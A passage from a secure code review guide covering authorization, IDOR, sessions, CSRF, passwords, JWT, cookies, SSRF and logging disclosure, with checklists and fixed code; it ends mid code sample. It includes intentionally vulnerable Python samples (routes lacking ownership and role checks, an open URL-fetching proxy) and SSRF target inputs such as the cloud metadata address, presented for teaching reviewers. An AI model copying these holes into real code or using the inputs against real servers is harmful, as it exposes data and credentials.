- Download and upload handlers do not accept absolute paths or drive letters from clients.
- Opaque identifiers replace direct filesystem paths in public APIs where possible.
- Suspicious access attempts are logged server-side without returning internal paths in errors.
- Cloud and local storage use the same containment rules.
- Uploads are stored outside executable web roots or served through controlled endpoints with safe headers.
- Filenames on disk are server-generated; client-supplied names are not used as path components.
- Type validation uses content inspection and allowlists appropriate to the business need.
- Size, rate, and per-user quotas limit abuse and DoS via large files.
- Authorization covers upload, list, download, and delete for multi-tenant data.
- Uploaded content is scanned or transformed where policy requires before other users can access it.
- Temporary files use framework APIs that generate unpredictable names and safe default permissions.
- No check-then-act sequence opens a race on shared temp directories.
- Files are deleted as soon as processing finishes, including on error paths.
- Predictable paths under `/tmp` with PIDs or timestamps alone are replaced.
- Sensitive exports are not world-readable and not served statically without access control.
- Container and multi-user deployments use isolated temp locations where policy requires it.
- No unsafe deserialization or YAML/XML loaders on attacker-controlled file bytes.

- Archive extraction validates every member path against a fixed base directory.
- Parser limits cap compressed size, entry count, and recursion depth.
- Parsed output is validated as data, not executed or reflected into code paths.
- Dangerous format features (macros, DTD, external entities) are disabled or rejected.
- High-risk parsing runs with minimal privileges and monitoring for anomalies.

Code Reference (Appendix)

Payloads, language-specific sinks, multi-language examples, and full fix catalogs for every variant live in [4.4 code reference — Review Paths, Uploads, and Files](#).

Reference

- Appendix — [4.4 code reference](#)
- [CWE-22: Improper Limitation of a Pathname to a Restricted Directory](#)
- [OWASP Path Traversal](#)
- [Python pathlib.Path.resolve](#)
- [Flask send_from_directory](#)
- [Werkzeug safe_join](#)
- [Java Path.normalize](#)
- [Apache Commons IO FilenameUtils](#)
- [ASP.NET Core PhysicalFileResult](#)
- [Go filepath.Clean](#)
- [Go http.Dir](#)
- [OWASP — Path Traversal](#)
- [Flask — send_from_directory](#)
- [Werkzeug — secure_filename](#)
- [Python pathlib — Path.resolve](#)
- [Microsoft — Path.GetFullPath](#)
- [Go filepath — Clean and Rel](#)
- [CWE-434: Unrestricted Upload of File with Dangerous Type](#)
- [OWASP — File Upload Cheat Sheet](#)
- [Flask — Uploading files](#)
- [Pillow — Image.verify](#)
- [Java Servlet Part API](#)
- [ASP.NET Core — IFormFile](#)
- [Go http.MaxBytesReader](#)
- [CWE-377: Insecure Temporary File](#)
- [CWE-367: Time-of-check Time-of-use Race Condition](#)
- [Python tempfile module](#)
- [Java Files.createTempFile](#)

- [Microsoft — Path.GetTempFileName](#)
- [Go os.CreateTemp](#)
- [CWE-502: Deserialization of Untrusted Data](#)
- [CWE-611: Improper Restriction of XML External Entity Reference](#)
- [CWE-400: Uncontrolled Resource Consumption](#)
- [OWASP — Deserialization Cheat Sheet](#)
- [PyYAML — safe_load](#)
- [Python defusedxml](#)
- [Java DocumentBuilderFactory security features](#)
- [Microsoft — BinaryFormatter obsolete](#)
- [Go archive/zip package](#)

4.5 - Review Authentication, Session, and Access Control

Overview

These findings ask who is acting, what binds the request to that actor, and what they are allowed to touch. Review session lifecycle, CSRF defenses, password handling, object-level authorization, and cookie flags together. For OAuth/OIDC/SAML protocol depth, continue in [5.1 Review Identity and Federation](#); for JWT issuance and JWKS, see [5.2 Review Tokens and API Trust](#).

The points below are the ideas this family chapter uses again and again.

1. Ask who is acting, what binds the request to that actor, and what they may touch.
2. Review session lifecycle, CSRF, passwords, object-level authorization, JWT-at-code-level, and cookies together.
3. Authentication is not authorization; object IDs need server-side ownership checks.
4. Protocol depth for OAuth/OIDC/SAML continues in Chapter 5.
5. Evidence names the identity decision, missing control, impact, and a proving test.

After reading this chapter, we should be able to review authn, session, and access together and separate code-level JWT flaws from protocol issuance review.

Shared Review Model

Across every variant below, keep the same evidence habit: name the **source**, the **sink**, the **missing control**, the **impact**, and a **test** that would prove a fix.

Variants in This Family

Authentication and authorization { **#authz** }

Insecure authentication lets attackers pose as another user through weak credential checks, session flaws, or forged tokens. Missing authorization lets authenticated users access other users' data or admin functions because the handler never verifies ownership or role. Authentication alone does not limit which records or APIs are reachable.

Where to look

Signal	Where to look
Feature type	Reports, exports, refunds, role changes, config edits, cross-tenant queries
Authn entry points	Login, API keys, OAuth callbacks, service accounts, machine-to-machine tokens
Missing authz	Handlers load resources by attacker-supplied ID without ownership test
Client-trusted roles	isAdmin from JWT body, X-Admin header, or JSON field without server mapping
Implicit public	permitAll, [AllowAnonymous], missing middleware on /internal paths
Service bypass	Message consumers and schedulers calling repositories without authorization

Appendix detail: [Authentication and authorization code reference](#).

IDOR {:#idor }

IDOR is horizontal privilege escalation. A user authorized for object A can read or modify object B by changing an identifier in the URL, body, or header. The application performs the database or file operation but never checks ownership, tenant, or role against the target resource.

Where to look

Signal	Where to look
Feature type	Profile edit, invoice download, order detail, file download, message view
Object selectors	Path variables, query strings, JSON id fields, hidden form inputs
ID-only lookup	findById(userSuppliedId) with no ownership filter in repository layer
Client-supplied owner	Create/update DTOs accepting userId, orgId, or accountId from body
Batch endpoints	Arrays of IDs returned without per-item authorization
File access	send_file(userInput) or bucket keys built from unsanitized names

Appendix detail: [IDOR code reference](#).

Forced browsing {:#forced-browsing }

Forced browsing is a form of broken access control. Attackers request paths such as /admin, /api/internal/export, or backup file names directly. If the server only checks that someone is logged in, any authenticated user may access admin functionality. Missing role or permission checks on each sensitive entry point create this gap.

Where to look

Signal	Where to look
Feature type	Admin consoles, actuator endpoints, debug tools, importer APIs, legacy servlets
Login-only guard	Filter redirects when <code>user == null</code> but allows any authenticated user into <code>/admin</code>
Hidden routes	Sensitive <code>@GetMapping</code> without <code>@PreAuthorize</code> while public routes are protected
Static exposure	<code>/actuator</code> , <code>/swagger</code> , <code>/debug</code> , or <code>.git</code> served in production
Method gap	GET protected on admin page while POST <code>/admin/delete</code> lacks the same check
Parallel channels	Mobile API v2, GraphQL resolvers, WebSocket handlers missing admin checks

Appendix detail: [Forced browsing code reference](#).

Broken session management { #session }

Session management ties HTTP requests to an authenticated user. Weak implementations use predictable identifiers, expose tokens in URLs, skip rotation at login, or leave sessions valid after logout. Session fixation occurs when the application keeps the same session ID before and after login, allowing an attacker who planted that ID to inherit the victim's authenticated state.

Where to look

Signal	Where to look
Feature type	Login, logout, remember-me, password change, role elevation, multi-device sessions
Session creation	<code>getSession(true)</code> before auth, client-supplied session IDs, short or predictable tokens
Cookie flags	Missing <code>HttpOnly</code> , <code>Secure</code> , or permissive <code>SameSite=None</code> without justification
Fixation risk	Same session ID before and after successful login
Logout gaps	Client-only cookie clear without server-side invalidation
Transport leaks	Session IDs in URLs, logs, referrer headers, or analytics

Appendix detail: [Broken session management code reference](#).

CSRF {:#csrf }

CSRF tricks a logged-in victim's browser into sending a request the application treats as legitimate. The attacker does not need to steal the session cookie if the browser attaches it automatically. Impact may include fund transfers, profile changes, privilege grants, or deletion of data.

Where to look

Signal	Where to look
Feature type	Transfers, email change, password update, role assignment, account deletion, settings forms
HTTP methods	POST, PUT, PATCH, DELETE; unsafe GET that mutates state
Session model	Cookie-based sessions without synchronizer tokens or custom headers
SPA/AJAX	JSON APIs authenticated by cookies alone; missing X-CSRF-Token header
Framework bypass	@csrf_exempt, csrf().disable(), omitted [ValidateAntiForgeryToken]
High-risk gaps	MFA disable, payout flows, admin actions without reauthentication

Appendix detail: [CSRF code reference](#).

Broken password lifecycle {:#password }

Broken password lifecycle management lets attackers set, change, or reset credentials without proving identity. Risks include plain-text storage, weak hashing, missing current-password checks, reusable reset tokens, and MFA bypass on high-impact operations. Initial passwords left unchanged and debug logging of credentials amplify exposure.

Where to look

Signal	Where to look
Feature type	Registration, admin provisioning, password change, reset confirm, MFA disable
Storage flaws	Plain text, MD5/SHA1, reversible encryption, passwords in audit tables
Change without auth	user_id from form body updates another account's password
Reset token flaws	Predictable tokens, long TTL, missing single-use invalidation, tokens in URL logs
Enumeration	Different responses for valid vs invalid email on reset
MFA bypass	Disable MFA without step-up; debug logging of passwords or reset links

Appendix detail: [Broken password lifecycle code reference](#).

JWT security (code-level) {: #jwt }

A JWT carries claims the application may treat as identity and permissions. If signature verification is skipped, uses a hardcoded secret, or accepts the none algorithm, attackers can forge tokens and impersonate users or elevate privileges. Key confusion attacks swap asymmetric verification for symmetric keys when libraries are misconfigured.

Where to look

Signal	Where to look
Feature type	API auth middleware, microservice trust, mobile backends, OAuth resource servers
Parse without verify	Permissive algorithms= including none, RS256→HS256 confusion, manual header parsing for key selection
Key material	Hardcoded "secretkey", dev keys shipped to prod, missing JWKS rotation
Algorithm issues	none accepted, HS256/RS256 confusion, ignoring alg header
Claim validation	Missing exp, iss, aud, or excessive access token lifetime
Storage and logout	localStorage tokens, refresh tokens without revocation, debug endpoints disabling verify

Appendix detail: [JWT security \(code-level\) code reference](#).

Insecure cookie configuration {: #cookies }

Browsers store cookies and send them automatically on matching requests. Session cookies carry authentication state. If JavaScript can read the cookie, a cross-site scripting flaw may steal the session. If the cookie travels over HTTP, network attackers may intercept it. If SameSite is missing or too permissive, cross-site request forgery becomes easier. Overly long or persistent session cookies extend the window for stolen-token abuse.

Where to look

Signal	Where to look
Feature type	Login success handlers, "remember me," OAuth callbacks, session refresh, logout
Framework config	web.xml, Spring application.yml, Django SESSION_COOKIE_*, Express session middleware
Missing HttpOnly	set_cookie(..., httponly=False), Cookie without setHttpOnly(true)
Missing Secure	Cookies set without Secure in production or behind TLS-terminating proxies
SameSite gaps	Cross-site flows, embedded widgets, OAuth redirects without deliberate SameSite choice
Overlong lifetime	Far-future Expires or Max-Age bypassing idle timeout policy
Logout gaps	Client cookie cleared but server-side session record still valid

Appendix detail: [Insecure cookie configuration code reference](#).

Worked Example (Authentication and authorization)

We walk **Authentication and authorization** in depth. Apply the same tracing steps to the other variants, adjusting sources and sinks from the tables above.

Sample vulnerable code (Python)

```
from fastapi import Depends, FastAPI, HTTPException
from sqlalchemy.orm import Session

app = FastAPI()

@app.get("/api/projects/{project_id}")
def get_project(project_id: str, db: Session = Depends(get_db)):
    if not current_user_id():
        raise HTTPException(status_code=401)
    # Authenticated but no tenant/owner filter – any user reads any project
    return db.query(Project).filter(Project.id == project_id).one()

@app.post("/admin/billing")
def update_billing(payload: dict):
    # No role check; any caller who reaches the route can change billing config
    billing_config.update(payload)
    return {"ok": True}
```

Step-by-step review walkthrough

1. **Map authentication entry points.** Login, API keys, OAuth callbacks, service accounts, and machine-to-machine tokens.

2. **Verify credential validation.** Password hashes, MFA gates, account lockout, and consistent failure responses.
3. **List sensitive operations.** Exports, refunds, role changes, config edits, and cross-tenant queries.
4. **For each operation, find the authorization check.** Role, scope, resource owner, or policy engine call must appear before the action.
5. **Compare UI restrictions to server enforcement.** Hidden buttons are not security controls.
6. **Review default-deny vs default-allow.** New endpoints should require explicit permission annotations.
7. **Check service layers and background jobs.** They must inherit the same authorization as HTTP controllers.

Risk Impact (Family)

Horizontal data access. Authenticated users read or modify records belonging to others when ownership checks are absent.

Administrative compromise. Missing role checks on admin routes let standard users change configuration, roles, or billing.

Tenant isolation failure. Cross-tenant queries without tenant predicates expose one customer's data to another.

Persistent unauthorized changes. Background jobs and message handlers without authz may apply attacker-supplied operations at scale.

Regulatory and contractual breach. Broken access control is a top OWASP category and a common finding in security assessments.

Fix Principles

Primary safer patterns for the worked example follow. For other languages and variant-specific fixes, use the [family appendix](#).

Python

Filter queries by authenticated user. Use dependency injection for scope checks on every route.

```

from flask import Flask, g, abort
from flask_login import login_required, current_user

@app.route("/api/document/<doc_id>")
@login_required
def get_document(doc_id):
    doc = db.documents.find_one({"_id": doc_id, "owner_id": current_user.id})
    if not doc:
        abort(404)
    return jsonify(doc)

@app.route("/admin/settings", methods=["POST"])
@login_required
def save_settings():
    if not current_user.has_role("admin"):
        abort(403)
    config.update(request.get_json())
    return jsonify(ok=True)

```

```

# FastAPI pattern
@app.get("/api/document/{doc_id}")
def get_document(doc_id: str, user=Depends(require_scope("documents:read"))):
    doc = repo.get_for_owner(doc_id, user.id)
    if not doc:
        raise HTTPException(status_code=404)
    return doc

```

Important: Use `user.has_perm` in Django and query filters like `Model.objects.filter(owner=request.user)`.

Verify During Review

Use the checklist below as a family-level pass over the variants above. Each item should map to evidence in the change under review.

- Every sensitive operation performs server-side authorization after authentication.
- Resource access validates ownership, tenant, or role—not only presence of a session.
- Admin and internal routes require explicit elevated permissions, not obscurity.
- New endpoints default to deny; public exceptions are documented and rare.
- Background workers and message handlers enforce the same rules as HTTP APIs.
- Code structure makes authentication steps distinct from authorization checks for maintainers.
- Object lookups include owner, tenant, or permission predicate tied to the authenticated principal.
- Create and update operations ignore client-supplied ownership fields or validate them against policy.
- File and export endpoints authorize each object, including batch and async jobs.
- Indirect reference tokens are bound to the user session and expire appropriately.
- Mobile, GraphQL, and internal APIs apply the same object-level checks as primary web routes.
- Enumeration risk is reduced with rate limits and consistent 404/403 responses where policy allows.

- Admin and internal paths require explicit elevated roles or scopes, not only authentication.
- Every HTTP method on sensitive resources has matching authorization checks.
- Global security configuration defaults to deny; exceptions are documented.
- Actuator, swagger, debug, and backup paths are disabled or restricted in production.
- Parallel API versions and WebSocket routes repeat the same authorization rules as primary HTTP handlers.
- UI hiding of links is supplemented by server enforcement on direct navigation.
- Session ID regenerates or invalidates on successful login to prevent session fixation.
- Session identifiers are long, random, and not accepted from URL parameters.
- Session cookies use `HttpOnly`, `Secure`, and appropriate `SameSite` in production.
- Idle and absolute timeouts match policy; privileged apps use shorter windows.
- Logout and account lock invalidate server-side session state, not only browser cookies.
- Role, tenant, or MFA changes trigger session rotation or reauthentication where required.
- Session IDs do not appear in logs, analytics, or external referrer URLs.
- Every state-changing endpoint validates CSRF tokens or equivalent framework protection.
- Session cookies use `Secure`, `HttpOnly`, and appropriate `SameSite` attributes.
- No sensitive mutations over GET; dangerous actions require POST or API verbs with protections.
- SPAs and AJAX include anti-forgery headers when cookies authenticate requests.
- High-risk operations add reauthentication, MFA, or CAPTCHA beyond generic CSRF tokens.
- CSRF protections are not globally disabled in security configuration without documented exceptions.
- Passwords are hashed with modern algorithms and unique salts; plain text never stored or logged.
- Password change requires current credential or fresh reauthentication tied to the active session.
- Reset tokens are random, hashed at rest, time-limited, single-use, and not derived from email alone.
- Reset and registration responses do not enumerate valid accounts to anonymous callers.
- MFA is required for enrollment removal, email change, and other high-risk account operations.
- Initial and temporary passwords force change on first login when policy requires it.
- Audit trails record lifecycle events without cleartext passwords or reset secrets.
- Every authentication path verifies JWT signature with the correct key and algorithm.
- `none` and unexpected algorithms are rejected; asymmetric and symmetric paths are not confused.
- `exp`, `iss`, and `aud` (and `nbf` when used) are validated with acceptable clock skew.
- Signing keys are not hardcoded in production; rotation and JWKS are supported where applicable.
- Authorization uses claims from verified tokens only, not duplicate client-controlled headers.
- Access token lifetime matches risk; refresh and logout invalidate continued use when required.
- Session and authentication cookies set `HttpOnly` and `Secure` in production.
- `SameSite` is chosen deliberately for CSRF and OAuth redirect flows; `None` requires `Secure`.
- Cookie lifetime matches session timeout policy; "remember me" uses separate, scoped cookies when enabled.
- Logout invalidates server-side sessions and clears client cookies.
- Framework defaults were verified, not assumed; deployment descriptors match application code.
- No sensitive session identifiers appear in URL query parameters as a substitute for cookies.

Code Reference (Appendix)

Payloads, language-specific sinks, multi-language examples, and full fix catalogs for every variant live in [4.5 code reference — Review Authentication, Session, and Access Control](#).

Reference

- [Appendix — 4.5 code reference](#)
- [CWE-285: Improper Authorization](#)
- [OWASP Top 10 — Broken Access Control](#)
- [OWASP Authorization Cheat Sheet](#)
- [Django — Permissions](#)
- [Flask-Login documentation](#)
- [Spring Security — Method Security](#)
- [ASP.NET Core — Authorization](#)
- [Casbin documentation](#)
- [CWE-639: Authorization Bypass Through User-Controlled Key](#)
- [OWASP IDOR Prevention Cheat Sheet](#)
- [Django — Object-level permissions](#)
- [Spring Data — Query methods](#)
- [Spring Security — PostAuthorize](#)
- [ASP.NET Core — Resource-based authorization](#)
- [EF Core — Global query filters](#)
- [CWE-425: Direct Request \('Forced Browsing'\)](#)
- [Django — Permissions and authorization](#)
- [Flask-Principal roles](#)
- [Spring Security — Authorize HTTP requests](#)
- [ASP.NET Core — Policy-based authorization](#)
- [CWE-384: Session Fixation](#)
- [CWE-613: Insufficient Session Expiration](#)
- [OWASP Session Management Cheat Sheet](#)
- [OWASP ASVS — Session Management](#)
- [Django — Using sessions](#)
- [Flask — Sessions](#)
- [Java Servlet — changeSessionId](#)
- [ASP.NET Core — Session](#)
- [gorilla/sessions](#)
- [CWE-352: Cross-Site Request Forgery](#)
- [OWASP CSRF Prevention Cheat Sheet](#)
- [Django — CSRF protection](#)
- [Flask-WTF CSRFProtect](#)

- [Spring Security — CSRF](#)
- [ASP.NET Core — Prevent cross-site request forgery](#)
- [gorilla/csrf package](#)
- [MDN — SameSite cookies](#)
- [CWE-620: Unverified Password Change](#)
- [CWE-640: Weak Password Recovery Mechanism](#)
- [OWASP Forgot Password Cheat Sheet](#)
- [OWASP Password Storage Cheat Sheet](#)
- [NIST SP 800-63B: Digital Identity Guidelines](#)
- [passlib documentation](#)
- [Spring Security — Password Storage](#)
- [ASP.NET Core Identity](#)
- [Go golang.org/x/crypto/bcrypt](#)
- [CWE-347: Improper Verification of Cryptographic Signature](#)
- [CWE-287: Improper Authentication](#)
- [RFC 7519: JSON Web Token](#)
- [OWASP JWT Cheat Sheet](#)
- [PyJWT documentation](#)
- [Auth0 — JWT algorithm confusion](#)
- [jwt library](#)
- [ASP.NET Core — JWT Bearer authentication](#)
- [golang-jwt/jwt v5](#)
- [MDN Set-Cookie](#)
- [RFC 6265: HTTP State Management Mechanism](#)
- [Flask session cookie configuration](#)
- [Django session settings](#)
- [Jakarta Servlet Cookie API](#)
- [Spring Boot server.servlet.session.cookie](#)
- [ASP.NET Core cookie authentication](#)
- [Go net/http Cookie](#)

4.6 - Review SSRF and Egress

Overview

When user input influences where the server connects or what it sends outward, the server becomes a proxy into internal networks or partner systems. Review URL allowlists, scheme/host constraints, and whether responses or outbound channels can leak secrets.

The points below are the ideas this family chapter uses again and again.

1. SSRF and egress bugs let the server fetch or send on the attacker's behalf.
2. Validate destination after DNS resolution; disable or re-check redirects.
3. Internal and egress exfiltration share the same outbound trust problem.
4. Allowlists beat denylists for host and scheme policy.
5. Evidence names source, outbound sink, missing control, impact, and a proving test.

After reading this chapter, we should be able to review outbound request builders for private-range access and uncontrolled egress.

Shared Review Model

Across every variant below, keep the same evidence habit: name the **source**, the **sink**, the **missing control**, the **impact**, and a **test** that would prove a fix.

Variants in This Family

SSRF { **#ssrf** }

SSRF makes the server send requests on behalf of an attacker. The attacker may reach loopback addresses, cloud instance metadata (169.254.169.254), internal admin panels, or file URLs that expose local content. Impact can include credential theft, lateral movement, and bypass of network perimeter controls.

Where to look

Signal	Where to look
Feature type	URL preview, webhook registration, PDF/HTML import, image proxy, RSS fetcher, OAuth callback URL fetch
Attacker control	Full URL, host, port, path, query, or redirect target from request body or query string
HTTP clients	<code>requests.get</code> , <code>HttpClient</code> , <code>HttpURLConnection</code> , <code>http.Get</code> , FTP/gRPC gateways
Weak validation	Regex denylists for localhost that miss encoded IPs, IPv6, or RFC1918 ranges
Redirect handling	<code>follow_redirects=True</code> without re-validation after each hop
Async replay	Webhooks stored in the database and fetched later by background workers

Appendix detail: [SSRF code reference](#).

Internal and egress exfiltration {:#egress }

Internal and egress exfiltration covers cases where the application acts as an HTTP client on behalf of users or jobs. An attacker supplies a URL or hostname; the server fetches it from a privileged network position. That may expose admin panels on localhost, cloud instance metadata, or files on internal file servers.

Where to look

Signal	Where to look
Feature type	Image proxies, avatar importers, OG preview fetchers, webhook validators, PDF-from-URL, health checks on user URLs
Input entry	Query params, JSON body URL fields, path segments appended to internal base URLs
HTTP client sinks	<code>requests.get</code> , <code>HttpURLConnection</code> , <code>HttpClient</code> , <code>fetch</code> , <code>http.Get</code> with user-influenced targets
Weak controls	<code>"http://127.0.0.1" + path</code> , substring denylists for localhost, automatic redirect following
High-value targets	Cloud metadata (169.254.169.254), internal admin panels, file servers on RFC1918 ranges
Blast radius	Workers, serverless functions, and containers with broad VPC egress

Appendix detail: [Internal and egress exfiltration code reference](#).

Worked Example (SSRF)

We walk **SSRF** in depth. Apply the same tracing steps to the other variants, adjusting sources and sinks from the tables above.

Sample vulnerable code (Python)

```
import httpx
from flask import Flask, request, Response

app = Flask(__name__)

@app.route("/images/thumbnail")
def thumbnail():
    # Attacker supplies src=http://169.254.169.254/... or http://127.0.0.1:6379/
    image_url = request.args.get("src")
    with httpx.Client(follow_redirects=True, timeout=5.0) as client:
        resp = client.get(image_url)
    return Response(resp.content, mimetype=resp.headers.get("content-type", "image/jpeg"))
```

Step-by-step review walkthrough

1. **Find outbound request builders.** Search for `HttpURLConnection`, `requests.get`, `HttpClient`, `fetch`, `FTP`, and `gRPC` gateways driven by user input.
2. **Identify which URL parts are attacker-controlled.** Full URL, host, port, path, query, or redirect target each need separate review.
3. **Check redirect handling.** Libraries that follow 302 responses to `file://` or internal IPs expand the attack surface.
4. **Review allowlists and denylists.** Prefer fixed endpoint maps over partial hostname blocks.
5. **Inspect URL parsing.** Encoded IPs (127.0.0.1, 2130706433, 0x7f000001), IPv6, and DNS rebinding risks bypass naive checks.
6. **Follow secondary flows.** Webhooks stored at registration time and replayed by workers must apply the same validation.
7. **Confirm egress controls.** Network policies, proxy requirements, and metadata service hardening complement code checks.

Risk Impact (Family)

Cloud credential theft. Access to link-local metadata endpoints may expose IAM tokens and instance credentials.

Internal service access. Attackers reach admin panels, Redis, databases, or message brokers bound to localhost or private subnets.

Data exfiltration. Server responses from internal APIs may be reflected to the attacker through preview or proxy features.

Lateral movement. SSRF often bridges the public web tier into networks assumed unreachable from the internet.

Compliance impact. Unauthorized access to internal systems through application bugs may trigger incident response and regulatory review.

Fix Principles

Primary safer patterns for the worked example follow. For other languages and variant-specific fixes, use the [family appendix](#).

Python

Allowlist hosts and block private ranges after DNS resolution. Disable redirects or validate each hop.

```
import ipaddress
import socket
from urllib.parse import urlparse
import requests

ALLOWED_IMAGE_HOSTS = {"images.example.com", "cdn.partner.com"}

def is_public_ip(hostname: str) -> bool:
    addr = socket.gethostbyname(hostname)
    ip = ipaddress.ip_address(addr)
    return not (ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved)

def safe_fetch_image(url: str) -> bytes:
    parsed = urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError("scheme not allowed")
    if parsed.hostname not in ALLOWED_IMAGE_HOSTS:
        raise ValueError("host not allowlisted")
    if not is_public_ip(parsed.hostname):
        raise ValueError("destination not public")
    resp = requests.get(url, timeout=5, allow_redirects=False)
    resp.raise_for_status()
    return resp.content

@app.route("/images/thumbnail")
def thumbnail():
    return Response(safe_fetch_image(request.args["src"]), mimetype="image/jpeg")
```

Important: Wrap fetches in a separate network segment with no internal access when possible. Use IMDSv2 on AWS to reduce metadata abuse.

Verify During Review

Use the checklist below as a family-level pass over the variants above. Each item should map to evidence in the change under review.

- User-supplied URLs cannot target loopback, link-local, or RFC1918 addresses without explicit approval.
- Allowlists define permitted hosts, paths, and schemes; denylists are not the only control.
- HTTP clients disable or strictly validate redirects and non-HTTP schemes.
- Webhooks and async jobs apply the same validation as synchronous preview features.
- Cloud and container metadata endpoints are unreachable from application fetch code.
- Defense in depth includes network segmentation, not only application-layer parsing.
- User input cannot choose arbitrary protocol, host, port, or path for server-side HTTP without an allowlist.
- Redirects, DNS rebinding, and alternate IP encodings are considered in the threat model.
- Features that must fetch remote content use a dedicated, hardened client with size and time limits.
- Cloud metadata and loopback addresses are unreachable from request-building code paths.
- Denylists of string substrings are not the primary control.
- Logging captures blocked SSRF attempts without storing full attacker payloads unsafely.

Code Reference (Appendix)

Payloads, language-specific sinks, multi-language examples, and full fix catalogs for every variant live in [4.6 code reference — Review SSRF and Egress](#).

Reference

- Appendix — [4.6 code reference](#)
- [CWE-918: Server-Side Request Forgery](#)
- [OWASP SSRF Prevention Cheat Sheet](#)
- [AWS — Instance Metadata Service \(IMDSv2\)](#)
- [Python requests — redirects](#)
- [Java HttpClient — Redirect policy](#)
- [ASP.NET Core — HttpClient usage](#)
- [Go net/http — Transport](#)
- [CWE-918: Server-Side Request Forgery \(SSRF\)](#)
- [OWASP — Server Side Request Forgery Prevention Cheat Sheet](#)
- [Python ipaddress module](#)
- [Python requests — Redirect control](#)
- [Java HttpClient — Redirect policy](#)
- [ASP.NET Core — IHttpConnectionFactory](#)

- [Go net/http — Client](#)

4.7 - Review Information Disclosure and Logging

Overview

Disclosure findings leak secrets or decision logic through messages, URLs, comments, or logs. Ask what a stranger learns from each channel and whether sensitive fields are redacted before they leave the trust boundary.

The points below are the ideas this family chapter uses again and again.

1. Disclosure findings leak secrets, PII, or internals through errors, URLs, logs, or comments.
2. Enumeration and verbose errors teach attackers what exists.
3. Logging is both a control and a sink for sensitive data.
4. Related variants share one question: what should never leave the trust boundary.
5. Evidence names the channel, the sensitive value, missing control, impact, and a proving test.

After reading this chapter, we should be able to find disclosure paths in errors, URLs, enumeration, logging, and comments with shared evidence habits.

Shared Review Model

Across every variant below, keep the same evidence habit: name the **source**, the **sink**, the **missing control**, the **impact**, and a **test** that would prove a fix.

Variants in This Family

Error page disclosure { **#errors** }

Information disclosure through errors happens when the application answers a failure with more detail than the user should see. Default servlet containers, reverse proxies, and frameworks often ship verbose error pages that name server software and version. Application code may print exceptions directly to the response writer or include SQL fragments, file paths, and library versions in JSON error bodies.

Where to look

Signal	Where to look
Feature type	API error JSON, catch blocks, global exception handlers, health endpoints on failure
Response sinks	<code>printStackTrace</code> , <code>traceback.format_exc()</code> , returning <code>ex.Message</code> or <code>ex.StackTrace</code>
Debug flags	<code>DEBUG=True</code> , <code>app.debug</code> , developer exception page enabled in production deploy paths
Missing error pages	No catch-all /error route; container defaults expose version banners
Partial handlers	404/500 pages configured without general fallback hiding stack traces
Version banners	Server, X-Powered-By, framework version strings in production configs

Appendix detail: [Error page disclosure code reference](#).

Sensitive data in URL {:#url-data }

Sensitive data exposure via URLs occurs when passwords, tokens, session identifiers, or personal data appear in the query string or path where GET semantics apply. Browsers store URLs in history. Load balancers and CDNs often log full request lines. Third-party sites may receive secrets when users follow external links from a page that included them in the URL.

Where to look

Signal	Where to look
Feature type	Login, registration, password reset, magic links, API key auth, OAuth callbacks, shareable report URLs
Input entry	GET query params, bookmarkable links, email links with embedded tokens, front-end URL builders
Sensitive fields	Passwords, API keys, access tokens, session IDs, reset tokens, PII in query strings
Logging sinks	Access logs, APM, error trackers, analytics beacons that capture full request URIs
Weak controls	<code>@app.route(..., methods=["GET", "POST"])</code> on login, <code>[FromQuery]</code> password, redirect URLs echoing credentials
Referrer leakage	Pages with secrets in the URL linked from external sites without <code>Referrer-Policy</code>

Appendix detail: [Sensitive data in URL code reference](#).

Username enumeration { #enumeration }

Username enumeration is an information disclosure issue in authentication and account recovery. The application behaves differently when a username or email is registered versus when it is not. Attackers compile lists of valid accounts for credential stuffing, phishing, or targeted attacks.

Where to look

Signal	Where to look
Feature type	Login, password reset, registration, invite acceptance, MFA enrollment, OAuth account linking
Input entry	Email or username fields on public-facing auth endpoints
Branching logic	if user is None, if token != null, different HTTP status or JSON error codes
Side channels	Response time when DB lookup is skipped, email send only when account exists
Weak controls	404 for unknown email, explicit "already registered", distinct login failure messages
API leaks	JSON fields like exists: true, different error codes per case

Appendix detail: [Username enumeration code reference](#).

Sensitive logging { #sensitive-logging }

Sensitive logging is the practice of writing data to logs that should remain confidential. If logs are copied to analytics, emailed on alert, or accessed by operators with broad read rights, a single `log.info("password=" + password)` can cause a breach as serious as database exposure.

Where to look

Signal	Where to look
Feature type	Login, payment, password reset, OAuth token exchange, API key validation, crypto operations
Log sinks	Application loggers, access logs, APM traces, exception handlers, stdout in containers
Sensitive fields	Passwords, session IDs, bearer tokens, API keys, PAN/CVV, reset tokens, connection strings
Weak controls	Interpolating <code>request.json</code> , full header dumps, debug logging on auth paths in production
Missing positives	No audit trail for login failure, logout, or admin actions without storing secrets
Shipping risk	Log aggregation to Splunk, CloudWatch, or ELK without redaction filters

Appendix detail: [Sensitive logging code reference](#).

Secure logging {: #secure-logging }

Logs are a secondary data store. They often have weaker access controls than production databases, longer retention, and broad read access for operations teams. When applications log secrets, session identifiers, or personal data, a log breach may cause the same harm as a database leak. Missing security events—failed logins, authorization denials, admin actions—blind incident response and forensics.

Where to look

Signal	Where to look
Feature type	Login, logout, password reset, payment, admin config, file upload handlers
Secret leakage	Logged passwords, API keys, Authorization headers, cookies, connection strings
Missing audit events	Auth flows without success/failure logging, absent logout and password-change records
PII and PCI	Full card numbers, bank accounts, government IDs, health data in log fields
Oververbose debug	<code>logger.debug(request)</code> serializing entire HTTP requests in production paths
Log injection	User input embedded in log messages without sanitization
Admin activity gaps	Privileged actions without immutable audit trail

Appendix detail: [Secure logging code reference](#).

Sensitive code comments {: #comments }

Source code comments are not executed, but they are often stored in version control, included in builds, and visible to anyone with repository access. When comments contain passwords, password hints, API keys, or instructions to weaken security, they create an information disclosure risk. Attackers who obtain source may use those notes to bypass authentication or reach hidden functionality.

Where to look

Signal	Where to look
Comment types	Block comments, HTML <code><!-- --></code> , Javadoc, docstrings, TODO/FIXME/HACK markers
Credential language	password, secret, key, token, example values that look real
Bypass hints	Instructions to skip MFA, disable validation, or use a backdoor account
Internal topology	Internal hostnames, database names, unreleased feature flags in comments
HTML exposure	JSP, Thymeleaf, static HTML comments visible in page source
Commented-out code	Disabled auth checks and hardcoded overrides left for debugging

Appendix detail: [Sensitive code comments code reference](#).

Worked Example (Error page disclosure)

We walk **Error page disclosure** in depth. Apply the same tracing steps to the other variants, adjusting sources and sinks from the tables above.

Sample vulnerable code (Python)

```
import traceback
import logging
import uuid
from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse

app = FastAPI()
